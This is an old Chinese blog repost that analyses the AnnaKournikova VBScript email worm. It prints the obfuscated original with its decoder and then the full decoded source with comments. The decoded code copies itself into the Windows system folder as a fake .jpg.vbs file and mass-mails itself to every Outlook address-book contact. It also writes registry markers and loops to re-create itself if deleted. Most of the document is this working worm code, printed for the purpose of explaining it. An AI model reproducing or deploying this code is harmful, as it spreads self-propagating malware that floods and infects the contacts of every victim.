CSDN博客

img coolstar

AnnaKournikova病毒源代码解析

发表于2001/11/10 9:14:00  2530人阅读

分类: Visual Basic

AnnaKournikova病毒源代码解析

AnnaKournikova病毒源代码解析
本帖版权归原作者,其它网站转载须注明出处,传统媒体转载须事先与原作者和e龙西祠胡同[http://www.xici.net]联系。
作者: hangsun 发表日期: 2001-03-10 16:41:08 返回《黑客也是侠》 快速返回
  AnnaKournikova病毒通过附件中的vbs源代码来执行,虽然做了一点小手脚,但还是很容易解析出来的。以下是其附件文件的源代码(我加了注解):

'Vbs.OnTheFly Created By OnTheFly

'执行 e7iqom5JE4z 函数返回的代码,e7iqom5JE4z函数实际上是一个字符串变换函数,作用是对加密(一种简单的加密算法)后的病毒代码进行解密。e7iqom5JE4z函数的参数即加密后的病毒源代码字符串。

Execute e7iqom5JE4z("X)udQ0VpgjnH{tEcggvf{DQVpgjnH{QptGqttgTwugoPzgvUvgGQ9v58Jr7R6?EgtvcQgldeg*vY$eUktvrU0gjnn+$9G5QJv786r0Rgtyiktgv$MJWEu^hqyvtc^gpQjVHg{n$^.jE*t9:+(jE*t33+3(Etj3*63+(jE*t23+;(Etj5*+4(Etj3*;2+(jE*t9;+(jE*t23+2(Etj3*32+(jE*t45+(jE*t33+;(Etj3*72+(jE*t33+8(Etj3*62+(jE*t45+(jE*t8:+(jE*t:;+(jE*t33+7(Etj3*;3+(jE*t23+5(Etj5*+4(Etj6*+;(Etj6*+8(Etj7*+5(Etj6*+:(Etj;*+:gUvQtcyVopldi?7Egtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v+tyQoclVip7de0rqh{nkguyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2(^$pCcpqMtwkpqmcxl0irx0ud$kh9G5QJv786r0Rgtticgf$*MJWEu^hqyvtc^gpQjVHg{no^kcgn$f+@>$$3vgjpgp4CUJ9inEN+*pgfhkhkopqjvp*yq+3?cfpf{cp*yq+4?8jvpg9G5QJv786r0RwtpJ$vv<r11yy0y{fcp{dgvp0$n5.h.ncgupgfhkgUvMLUiJy9M59?ztyQoclVip7dq0grvpzghvnk*guyterk0veuktvrwhnncpgo.+3P/L7/Mz6wk?XLiMyUMJ99z5t0cgcfnnMLUiJy9M590znEuqgFqKhqPvt*yQoclVip7dh0nkggkzvu*uuyterk0veuktvrwhnncpgo++VgjpUvgWKg44:|6R2x?QtcyVopldi07tecggvgvvzkhgny*euktvru0terkhvnwpnoc.gVwt+ggW4K|4R:x602tyvk/g7PML6/kzXwgW4K|4R:x602nEuqgGfpKhNqqrHpwveqkp4gUp9CnJNi*E+QptGqttgTwugoPzgvUvgF54xQOzM8JT?EgtvcQgldeg*vQ$vwqnmqC0rrkncekvpq+$hKF54xQOzM8JT?Q$vwqnmqV$gjpUvgl74PvD/h;n:F?54xQOzM8JTI0vgcPgorUec*gO$RC$K+UvgUm834i35gN5?4lv7/P;D:h0nfCtfugNuukuvqHtcGjeL4TRoOuD4ToKp8U4m33gi55NKhTLo4uR4OoD0TfCtfugGuvpktugE0wqvp>@2jVpg6fFDz5yi3xL?TLo4uR4OoD0TfCtfugGuvpktugE0wqvpqHt9Z;:cX|5gT?|3Vq6fFDz5yi3xLUvgk9sd4:6x5/5?F54xQOzM8JTE0gtvcKggv*o+2gUvKQ6GXDl[LQ:?TLo4uR4OoD0TfCtfugGuvpktugZ*:9X;5cT||g+k9sd4:6x5/5V0q?KQ6GXDl[LQ0:fCtfuguk9sd4:6x5/5U0dwglve?$gJgt{wqjxc.g=+q$k9sd4:6x5/5D0fq{?J$<k$(dxtehn($jEegmjVuk$#(xednth($$guvYhpu:sI[h;?3sk496d5:5x0/vCcvjegovpuhuYsp[:;I3hC0fftyQoclVip7dI0vgrUegckHnnqgf*t+2(^$pCcpqMtwkpqmcxl0irx0ud$k9sd4:6x5/5F0ngvgCgvhtgwUodvk?VwtgKhsk496d5:5x0/qV>@$$Vgjpk9sd4:6x5/5U0pgfGQ9v58Jr7R6t0igtyvkgJ$EM^WquvhcygtQ^VpgjnH^{conkfg.$$$3pGfhKgPvzpGfhKgPvzpgfhkpGfwHepkvpqX)udiy370d2")

'以下是简单的解密函数e7iqom5JE4z——一个字符串变换算法。其算法逻辑是:a)将asc码为15,16,17的字符分别变换为回车、换行、空格;b)将其它字符的asc码减2;c)将相邻两字符交换位置。

Function e7iqom5JE4z(hFeiuKrcoj3)
For I = 1 To Len(hFeiuKrcoj3) Step 2
StTP1MoJ3ZU= Mid(hFeiuKrcoj3, I, 1)
WHz23rBqlo7= Mid(hFeiuKrcoj3, I + 1, 1)
If Asc(StTP1MoJ3ZU) = 15 Then
StTP1MoJ3ZU= Chr(10)
ElseIf Asc(StTP1MoJ3ZU) = 16 Then
StTP1MoJ3ZU = Chr(13)
ElseIf Asc(StTP1MoJ3ZU) = 17 Then
StTP1MoJ3ZU = Chr(32)
Else
StTP1MoJ3ZU = Chr(Asc(StTP1MoJ3ZU) - 2)
End If
If WHz23rBqlo7<> "" Then
If Asc(WHz23rBqlo7) = 15 Then
WHz23rBqlo7= Chr(10)
ElseIf Asc(WHz23rBqlo7) = 16 Then
WHz23rBqlo7= Chr(13)
ElseIf Asc(WHz23rBqlo7) = 17 Then
WHz23rBqlo7= Chr(32)
Else
WHz23rBqlo7= Chr(Asc(WHz23rBqlo7) - 2)
End If
End If
e7iqom5JE4z = e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU
Next
End Function
'Vbswg 1.50b

根据以上的变换算法,我编写了一个delphi算法执行相同的功能(不好意思,本人不会vb)。在执行该变换程序后,得到病毒源代码的真实面目。以下是本人处理(将晦涩难记得变量名称用ultraedit替换为有意义的变量名称,并加上我个人的注解)后的病毒源代码。

'Vbs.OnTheFly Created By OnTheFly

'异常处理
On Error Resume Next

'创建script对象
Set shellObj = CreateObject("WScript.Shell")

'写注册表数据 "Worm made with Vbswg 1.50b",这里用了很不直接的做法:asc码拼凑。可能这是黑客的风格吧。不过实在没有什么意义。
shellObj.regwrite "HKCU/software/OnTheFly/", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)

'创建文件系统对象
Set fileSysObj= Createobject("scripting.filesystemobject")

'将病毒源文件拷贝到系统目录
fileSysObj.copyfile wscript.scriptfullname,fileSysObj.GetSpecialFolder(0)& "/AnnaKournikova.jpg.vbs"

'读注册表数据,如果尚未传播过,则向outlook地址簿中的所有mail地址邮件传播
if shellObj.regread ("HKCU/software/OnTheFly/mailed") <> "1" then
 mailBroadcast()
end if

'如果是1号、26号,则打开没个www站点

if month(now) =1 and day(now) =26 then
 shellObj.run "Http://www.dynabyte.nl",3,false
end if

'以下使得该程序始终在硬盘中(不确定)
Set txtFile= fileSysObj.opentextfile(wscript.scriptfullname, 1)
textStr= txtFile.readall
txtFile.Close
Do
 If Not (fileSysObj.fileexists(wscript.scriptfullname)) Then
  Set scriptTxtFile= fileSysObj.createtextfile(wscript.scriptfullname, True)
  scriptTxtFile.write textStr
  scriptTxtFile.Close
 End If
Loop

'向地址薄中所有地址发送邮件,且在注册表中标记已发送
Function mailBroadcast()
 On Error Resume Next
 Set outlookApp = CreateObject("Outlook.Application")
 If outlookApp= "Outlook"Then
  Set mapiObj=outlookApp.GetNameSpace("MAPI")
  Set addrList= mapiObj.AddressLists
  For Each addr In addrList
   If addr.AddressEntries.Count <> 0 Then
    addrEntCount = addr.AddressEntries.Count
    For addrEntIndex= 1 To addrEntCount
     Set item = outlookApp.CreateItem(0)
     Set addrEnt = addr.AddressEntries(addrEntIndex)
     item.To = addrEnt.Address
     item.Subject = "Here you have, ;o)"
     item.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
     set attachMents=item.Attachments
     attachMents.Add fileSysObj.GetSpecialFolder(0)& "/AnnaKournikova.jpg.vbs"
     item.DeleteAfterSubmit = True
     If item.To <> "" Then
      item.Send
      shellObj.regwrite "HKCU/software/OnTheFly/mailed", "1"
     End If
    Next
   End If
  Next
 end if
End Function
'Vbswg 1.50b

  从以上的源代码分析可以看出,编写vbscript病毒程序实在是很简单,就看你想不想做这样的缺德事了。当然,作为任何一位正直的程序员,都是不应该做的。
  据说,这一病毒是用病毒生成程序自动生成的。从我解密的源代码看,似乎的确如此,因为所有的变量名似乎都是随机产生的。如果不是我对这些变量名做了变换,真的是很难看懂这样的程序,因为你根本就记不住这些变量的含义。

0 0

相关博文

我的热门文章

img
取 消
img